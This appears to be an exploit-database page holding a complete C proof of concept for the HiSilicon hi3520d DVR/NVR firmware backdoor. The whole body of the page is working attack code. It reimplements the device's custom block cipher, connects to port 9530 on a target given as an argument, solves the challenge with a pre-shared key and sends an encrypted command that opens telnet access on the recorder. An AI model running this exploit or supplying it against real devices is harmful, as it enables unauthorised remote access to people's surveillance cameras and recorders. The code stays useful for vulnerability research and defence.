Share
## https://sploitus.com/exploit?id=1337DAY-ID-33904
# Exploit Title: HiSilicon DVR/NVR hi3520d firmware - Remote Backdoor Account 
# Exploit Author: Snawoot
# Vendor Homepage: http://www.hisilicon.com
# Product Link: http://www.hisilicon.com/en/Products
# Version: hi3520d
# Tested on: Linux
# CVE: N/A
# References: https://habr.com/en/post/486856/
# References: https://github.com/Snawoot/hisilicon-dvr-telnet
# References: https://github.com/tothi/pwn-hisilicon-dvr#summary

# POC: 
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>

typedef unsigned char byte;
typedef unsigned int uint;

byte state[2048] = {0};
byte datum[] = {
    0x20, 0x01, 0x02, 0x03, 0x04, 0x05, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11,
    0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19,
    0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x01,
    0x0e, 0x04, 0x0d, 0x01, 0x02, 0x0f, 0x0b, 0x08, 0x03, 0x0a, 0x06, 0x0c,
    0x05, 0x09, 0x00, 0x07, 0x00, 0x0f, 0x07, 0x04, 0x0e, 0x02, 0x0d, 0x01,
    0x0a, 0x06, 0x0c, 0x0b, 0x09, 0x05, 0x03, 0x08, 0x04, 0x01, 0x0e, 0x08,
    0x0d, 0x06, 0x02, 0x0b, 0x0f, 0x0c, 0x09, 0x07, 0x03, 0x0a, 0x05, 0x00,
    0x0f, 0x0c, 0x08, 0x02, 0x04, 0x09, 0x01, 0x07, 0x05, 0x0b, 0x03, 0x0e,
    0x0a, 0x00, 0x06, 0x0d, 0x0f, 0x01, 0x08, 0x0e, 0x06, 0x0b, 0x03, 0x04,
    0x09, 0x07, 0x02, 0x0d, 0x0c, 0x00, 0x05, 0x0a, 0x03, 0x0d, 0x04, 0x07,
    0x0f, 0x02, 0x08, 0x0e, 0x0c, 0x00, 0x01, 0x0a, 0x06, 0x09, 0x0b, 0x05,
    0x00, 0x0e, 0x07, 0x0b, 0x0a, 0x04, 0x0d, 0x01, 0x05, 0x08, 0x0c, 0x06,
    0x09, 0x03, 0x02, 0x0f, 0x0d, 0x08, 0x0a, 0x01, 0x03, 0x0f, 0x04, 0x02,
    0x0b, 0x06, 0x07, 0x0c, 0x00, 0x05, 0x0e, 0x09, 0x0a, 0x00, 0x09, 0x0e,
    0x06, 0x03, 0x0f, 0x05, 0x01, 0x0d, 0x0c, 0x07, 0x0b, 0x04, 0x02, 0x08,
    0x0d, 0x07, 0x00, 0x09, 0x03, 0x04, 0x06, 0x0a, 0x02, 0x08, 0x05, 0x0e,
    0x0c, 0x0b, 0x0f, 0x01, 0x0d, 0x06, 0x04, 0x09, 0x08, 0x0f, 0x03, 0x00,
    0x0b, 0x01, 0x02, 0x0c, 0x05, 0x0a, 0x0e, 0x07, 0x01, 0x0a, 0x0d, 0x00,
    0x06, 0x09, 0x08, 0x07, 0x04, 0x0f, 0x0e, 0x03, 0x0b, 0x05, 0x02, 0x0c,
    0x07, 0x0d, 0x0e, 0x03, 0x00, 0x06, 0x09, 0x0a, 0x01, 0x02, 0x08, 0x05,
    0x0b, 0x0c, 0x04, 0x0f, 0x0d, 0x08, 0x0b, 0x05, 0x06, 0x0f, 0x00, 0x03,
    0x04, 0x07, 0x02, 0x0c, 0x01, 0x0a, 0x0e, 0x09, 0x0a, 0x06, 0x09, 0x00,
    0x0c, 0x0b, 0x07, 0x0d, 0x0f, 0x01, 0x03, 0x0e, 0x05, 0x02, 0x08, 0x04,
    0x03, 0x0f, 0x00, 0x06, 0x0a, 0x01, 0x0d, 0x08, 0x09, 0x04, 0x05, 0x0b,
    0x0c, 0x07, 0x02, 0x0e, 0x02, 0x0c, 0x04, 0x01, 0x07, 0x0a, 0x0b, 0x06,
    0x08, 0x05, 0x03, 0x0f, 0x0d, 0x00, 0x0e, 0x09, 0x0e, 0x0b, 0x02, 0x0c,
    0x04, 0x07, 0x0d, 0x01, 0x05, 0x00, 0x0f, 0x0a, 0x03, 0x09, 0x08, 0x06,
    0x04, 0x02, 0x01, 0x0b, 0x0a, 0x0d, 0x07, 0x08, 0x0f, 0x09, 0x0c, 0x05,
    0x06, 0x03, 0x00, 0x0e, 0x0b, 0x08, 0x0c, 0x07, 0x01, 0x0e, 0x02, 0x0d,
    0x06, 0x0f, 0x00, 0x09, 0x0a, 0x04, 0x05, 0x03, 0x0c, 0x01, 0x0a, 0x0f,
    0x09, 0x02, 0x06, 0x08, 0x00, 0x0d, 0x03, 0x04, 0x0e, 0x07, 0x05, 0x0b,
    0x0a, 0x0f, 0x04, 0x02, 0x07, 0x0c, 0x09, 0x05, 0x06, 0x01, 0x0d, 0x0e,
    0x00, 0x0b, 0x03, 0x08, 0x09, 0x0e, 0x0f, 0x05, 0x02, 0x08, 0x0c, 0x03,
    0x07, 0x00, 0x04, 0x0a, 0x01, 0x0d, 0x0b, 0x06, 0x04, 0x03, 0x02, 0x0c,
    0x09, 0x05, 0x0f, 0x0a, 0x0b, 0x0e, 0x01, 0x07, 0x06, 0x00, 0x08, 0x0d,
    0x04, 0x0b, 0x02, 0x0e, 0x0f, 0x00, 0x08, 0x0d, 0x03, 0x0c, 0x09, 0x07,
    0x05, 0x0a, 0x06, 0x01, 0x0d, 0x00, 0x0b, 0x07, 0x04, 0x09, 0x01, 0x0a,
    0x0e, 0x03, 0x05, 0x0c, 0x02, 0x0f, 0x08, 0x06, 0x01, 0x04, 0x0b, 0x0d,
    0x0c, 0x03, 0x07, 0x0e, 0x0a, 0x0f, 0x06, 0x08, 0x00, 0x05, 0x09, 0x02,
    0x06, 0x0b, 0x0d, 0x08, 0x01, 0x04, 0x0a, 0x07, 0x09, 0x05, 0x00, 0x0f,
    0x0e, 0x02, 0x03, 0x0c, 0x0d, 0x02, 0x08, 0x04, 0x06, 0x0f, 0x0b, 0x01,
    0x0a, 0x09, 0x03, 0x0e, 0x05, 0x00, 0x0c, 0x07, 0x01, 0x0f, 0x0d, 0x08,
    0x0a, 0x03, 0x07, 0x04, 0x0c, 0x05, 0x06, 0x0b, 0x00, 0x0e, 0x09, 0x02,
    0x07, 0x0b, 0x04, 0x01, 0x09, 0x0c, 0x0e, 0x02, 0x00, 0x06, 0x0a, 0x0d,
    0x0f, 0x03, 0x05, 0x08, 0x02, 0x01, 0x0e, 0x07, 0x04, 0x0a, 0x08, 0x0d,
    0x0f, 0x0c, 0x09, 0x00, 0x03, 0x05, 0x06, 0x0b, 0x10, 0x07, 0x14, 0x15,
    0x1d, 0x0c, 0x1c, 0x11, 0x01, 0x0f, 0x17, 0x1a, 0x05, 0x12, 0x1f, 0x0a,
    0x02, 0x08, 0x18, 0x0e, 0x20, 0x1b, 0x03, 0x09, 0x13, 0x0d, 0x1e, 0x06,
    0x16, 0x0b, 0x04, 0x19, 0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02,
    0x3c, 0x34, 0x2c, 0x24, 0x1c, 0x14, 0x0c, 0x04, 0x3e, 0x36, 0x2e, 0x26,
    0x1e, 0x16, 0x0e, 0x06, 0x40, 0x38, 0x30, 0x28, 0x20, 0x18, 0x10, 0x08,
    0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05,
    0x3f, 0x37, 0x2f, 0x27, 0x1f, 0x17, 0x0f, 0x07, 0xf4, 0x63, 0x01, 0x00,
    0x28, 0x08, 0x30, 0x10, 0x38, 0x18, 0x40, 0x20, 0x27, 0x07, 0x2f, 0x0f,
    0x37, 0x17, 0x3f, 0x1f, 0x26, 0x06, 0x2e, 0x0e, 0x36, 0x16, 0x3e, 0x1e,
    0x25, 0x05, 0x2d, 0x0d, 0x35, 0x15, 0x3d, 0x1d, 0x24, 0x04, 0x2c, 0x0c,
    0x34, 0x14, 0x3c, 0x1c, 0x23, 0x03, 0x2b, 0x0b, 0x33, 0x13, 0x3b, 0x1b,
    0x22, 0x02, 0x2a, 0x0a, 0x32, 0x12, 0x3a, 0x1a, 0x21, 0x01, 0x29, 0x09,
    0x31, 0x11, 0x39, 0x19, 0x39, 0x31, 0x29, 0x21, 0x19, 0x11, 0x09, 0x01,
    0x3a, 0x32, 0x2a, 0x22, 0x1a, 0x12, 0x0a, 0x02, 0x3b, 0x33, 0x2b, 0x23,
    0x1b, 0x13, 0x0b, 0x03, 0x3c, 0x34, 0x2c, 0x24, 0x3f, 0x37, 0x2f, 0x27,
    0x1f, 0x17, 0x0f, 0x07, 0x3e, 0x36, 0x2e, 0x26, 0x1e, 0x16, 0x0e, 0x06,
    0x3d, 0x35, 0x2d, 0x25, 0x1d, 0x15, 0x0d, 0x05, 0x1c, 0x14, 0x0c, 0x04,
    0x50, 0x64, 0x01, 0x00, 0x01, 0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
    0x01, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x0e, 0x11, 0x0b, 0x18,
    0x01, 0x05, 0x03, 0x1c, 0x0f, 0x06, 0x15, 0x0a, 0x17, 0x13, 0x0c, 0x04,
    0x1a, 0x08, 0x10, 0x07, 0x1b, 0x14, 0x0d, 0x02, 0x29, 0x34, 0x1f, 0x25,
    0x2f, 0x37, 0x1e, 0x28, 0x33, 0x2d, 0x21, 0x30, 0x2c, 0x31, 0x27, 0x38,
    0x22, 0x35, 0x2e, 0x2a, 0x32, 0x24, 0x1d, 0x20
};

void init_cipher_offset_vector(byte *dst,byte *src,int size)

{
  int i;
  
  i = 0;
  while (i < size) {
    dst[i] = (byte)((int)(uint)src[i >> 3] >> (i & 7U)) & 1;
    i = i + 1;
  }
  return;
}

void apply_cipher_offset_vector(byte *dst,byte *src,byte *offset_vector,size_t size)

{
  int i;
  
  i = 0;
  while (i < (int)size) {
    state[i] = src[(uint)offset_vector[i] - 1];
    i = i + 1;
  }
  memcpy(dst,state,size);
  return;
}

void cipher_memcpy_shuffle(void *dst,size_t size)

{
  memcpy(state,dst,size);
  memcpy(dst,(void *)(dst + size),0x1c - size);
  memcpy((void *)(dst + (0x1c - size)),state,size);
  return;
}

void init_cipher_state(void *dst,void *src)

{
  byte current_byte;
  int i;
  
  init_cipher_offset_vector(state + 0x190,(byte *)src,0x40);
  apply_cipher_offset_vector(state + 0x190,state + 0x190,datum + 0x2d4,0x38);
  i = 0;
  do {
    current_byte = (datum + 0x310)[i];
    i = i + 1;
    cipher_memcpy_shuffle(state + 0x190,(uint)current_byte);
    cipher_memcpy_shuffle(state + 0x190 + 0x1c,(uint)current_byte);
    apply_cipher_offset_vector((byte *)dst,state + 0x190,datum + 0x320,0x30);
    dst = (byte *)dst + 0x30;
  } while (i != 0x10);
  return;
}

void cipher_xor(byte *data,byte *key,int size)

{
  int i;

  i = 0;
  while (i < size) {
    data[i] = key[i] ^ data[i];
    i = i + 1;
  }
  return;
}

void prepare_key(void *key,size_t key_size)

{
  size_t __n;

  memset(state + 0x1d0,0,0x10);
  __n = key_size;
  if (0xf < (int)key_size) {
    __n = 0x10;
  }
  memcpy(state + 0x1d0,key,__n);
  init_cipher_state(state + 0x1e0,state + 0x1d0);
  if (8 < (int)key_size) {
    init_cipher_state(state + 0x4e0,state + 0x1d8);
  }
  *(state + 0x7e0) = 8 < (int)key_size; // !!!! recheck size
  return;
}

void cipher_shuffle(byte *dst,byte *src)

{
  byte *caretPtr;
  int iVar1;
  byte *ptr;
  int i;
  
  apply_cipher_offset_vector(state + 0x100,dst,datum,0x30);
  cipher_xor(state + 0x100,src,0x30);
  ptr = state + 0x100;
  i = 0;
  do {
    iVar1 = i + (uint)ptr[5] + (uint)*ptr * 2;
    caretPtr = dst + i;
    i = i + 4;
    init_cipher_offset_vector
              (caretPtr,datum + 0x30 +
                        (uint)ptr[2] * 4 + (uint)ptr[1] * 8 + (uint)ptr[4] + (uint)ptr[3] * 2 +
                        iVar1 * 0x10,4);
    ptr = ptr + 6;
  } while (i != 0x20);
  apply_cipher_offset_vector(dst,dst,datum + 0x230,0x20);
  return;
}

void cipher_box(byte *result,byte *data,byte *offset_vector,int direction)

{
  uint i;
  byte *backward_ov_ptr;
  byte *forward_ov_ptr;
  int iVar3;

  init_cipher_offset_vector(state + 0x130,data,0x40);
  apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x250,0x40);
  if (direction == 0) {
    forward_ov_ptr = offset_vector + 0x300;
    do {
      memcpy(state + 0x170,state + 0x150,0x20);
      cipher_shuffle(state + 0x150,offset_vector);
      cipher_xor(state + 0x150,state + 0x130,0x20);
      memcpy(state + 0x130, state + 0x170, 0x20);
      offset_vector = offset_vector + 0x30;
    } while (offset_vector != forward_ov_ptr);
  }
  else {
    backward_ov_ptr = offset_vector + 0x2d0;
    do {
      memcpy(state + 0x170,state + 0x130,0x20);
      cipher_shuffle(state + 0x130,backward_ov_ptr);
      cipher_xor(state + 0x130,state + 0x150,0x20);
      backward_ov_ptr -= 0x30;
      memcpy(state + 0x150,state + 0x170,0x20);
    } while (backward_ov_ptr != offset_vector + -0x30);
  }
  apply_cipher_offset_vector(state + 0x130,state + 0x130,datum + 0x294,0x40);
  memset(result,0,8);
  i = 0;
  do {
    result[i >> 3] = result[i >> 3] | *(char *)(state + 0x130 + i) << (i & 7);
    i = i + 1;
  } while (i != 0x40);
  return;
}

int decrypt(char *result,char *data,uint data_len,char *key,uint key_len)

{
  uint short_key_iter;
  int curBlockNumber;
  int blockCount;

  if (((result != (char *)0x0 && data != (char *)0x0) && (curBlockNumber = 0, key != (char *)0x0))
     && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_len);
    blockCount = (int)(data_len + 7) >> 3;
    short_key_iter = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)short_key_iter < blockCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
        short_key_iter = short_key_iter + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (curBlockNumber < blockCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,1);
        curBlockNumber = curBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}

int encrypt(char *result,char *data,uint data_len,char *key,uint key_size)

{
  uint uVar2;
  int currentBlockNumber;
  int blocksCount;
  
  if (((result != (char *)0x0 && data != (char *)0x0) &&
      (currentBlockNumber = 0, key != (char *)0x0)) && ((data_len + 7 & 0xfffffff8) != 0)) {
    prepare_key(key,key_size);
    blocksCount = (int)(data_len + 7) >> 3;
    uVar2 = *(state + 0x7e0);
    if (*(state + 0x7e0) == 0) {
      while ((int)uVar2 < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        uVar2 = uVar2 + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    else {
      while (currentBlockNumber < blocksCount) {
        cipher_box((byte *)result,(byte *)data,state + 0x1e0,0);
        cipher_box((byte *)result,(byte *)result,state + 0x4e0,1);
        cipher_box((byte *)result,(byte *)result,state + 0x1e0,0);
        currentBlockNumber = currentBlockNumber + 1;
        result = (char *)((byte *)result + 8);
        data = (char *)((byte *)data + 8);
      }
    }
    return 0;
  }
  return -1;
}

void tohex(unsigned char * in, size_t insz, char * out, size_t outsz)
{
    unsigned char * pin = in;
    const char * hex = "0123456789ABCDEF";
    char * pout = out;
    for(; pin < in+insz; pout +=3, pin++){
        pout[0] = hex[(*pin>>4) & 0xF];
        pout[1] = hex[ *pin     & 0xF];
        pout[2] = ':';
        if (pout + 3 - out > outsz){
            /* Better to truncate output string than overflow buffer */
            /* it would be still better to either return a status */
            /* or ensure the target buffer is large enough and it never happen */
            break;
        }
    }
    pout[-1] = 0;
}

char netbuf[4096];

#define PADDED(X) (((X + 7) / 8) * 8)
#define PORT 9530
#define BUFSIZE sizeof(netbuf)
#define CMD_FIRST "OpenTelnet:OpenOnce"
#define CHALLENGE_PROLOGUE "randNum:"
#define VERIFY_OK "verify:OK"
#define CMD_FINAL "CMD:"
#define FINAL_PAYLOAD "Telnet:OpenOnce"
#define OPEN_OK "Open:OK"

ssize_t send_str(int sockfd, char *str, size_t len) {
    if (len > 0xFE) {
        return -1;
    }
    char buf[len+1];
    buf[0] = len + 1;
    memcpy(buf + 1, str, len);
    return send(sockfd, buf, len + 1, 0);
}

int main(int argc, char* argv[]) {
    int sockfd, numbytes;
    struct hostent *he;
    struct sockaddr_in their_addr;

    if (argc != 3) {
        fprintf(stderr, "Usage: %s <host> <PSK>\n", argv[0]);
        return 2;
    }

    if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */
        herror("gethostbyname");
        return 1;
    }

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        return 1;
    }

    their_addr.sin_family = AF_INET;      /* host byte order */
    their_addr.sin_port = htons(PORT);    /* short, network byte order */
    their_addr.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */

    if (connect(sockfd, (struct sockaddr *)&their_addr, \
                                              sizeof(struct sockaddr)) == -1) {
        perror("connect");
        return 1;
    }
    if (send_str(sockfd, CMD_FIRST, sizeof(CMD_FIRST)) == -1) {
        perror("send");
        return 1;
    }
    printf("Sent %s command.\n", CMD_FIRST);
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1) != 0) {
        fprintf(stderr, "No challenge received.\n");
        return 3;
    }

    char *seed = netbuf + sizeof(CHALLENGE_PROLOGUE) - 1;
    char challengeStr[strlen(seed) + strlen(argv[2]) + 1];
    size_t challengeLen = sprintf(challengeStr, "%s%s", seed, argv[2]);
    printf("challenge=%s\n", challengeStr);

    char encryptedRandomSeed[PADDED(challengeLen)];
    encrypt(encryptedRandomSeed, seed, strlen(seed), challengeStr, challengeLen);
    memcpy(netbuf, CHALLENGE_PROLOGUE, sizeof(CHALLENGE_PROLOGUE) - 1);
    memcpy(netbuf + sizeof(CHALLENGE_PROLOGUE) - 1, encryptedRandomSeed, PADDED(challengeLen));
    if (send_str(sockfd, netbuf, sizeof(CHALLENGE_PROLOGUE) - 1 + PADDED(challengeLen)) == -1) {
        perror("send");
        return 1;
    }
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, VERIFY_OK, sizeof(VERIFY_OK) - 1) != 0) {
        fprintf(stderr, "Verification failed.\n");
        return 4;
    }
    char encryptedFinal[PADDED(sizeof(FINAL_PAYLOAD))];
    encrypt(encryptedFinal, FINAL_PAYLOAD, sizeof(FINAL_PAYLOAD), challengeStr, challengeLen);
    memcpy(netbuf, CMD_FINAL, sizeof(CMD_FINAL) - 1);
    memcpy(netbuf + sizeof(CMD_FINAL) - 1, encryptedFinal, sizeof(encryptedFinal));
    if (send_str(sockfd, netbuf, sizeof(CMD_FINAL) - 1 + sizeof(encryptedFinal)) == -1) {
        perror("send");
        return 1;
    }
    bzero(netbuf, BUFSIZE);
    if ((numbytes=recv(sockfd, netbuf, BUFSIZE - 1, 0)) == -1) {
        perror("recv");
        return 1;
    }
    puts(netbuf);
    if (memcmp(netbuf, OPEN_OK, sizeof(OPEN_OK) - 1)) {
        fprintf(stderr, "Open failed.\n");
        return 5;
    }
    
    return 0;
}

#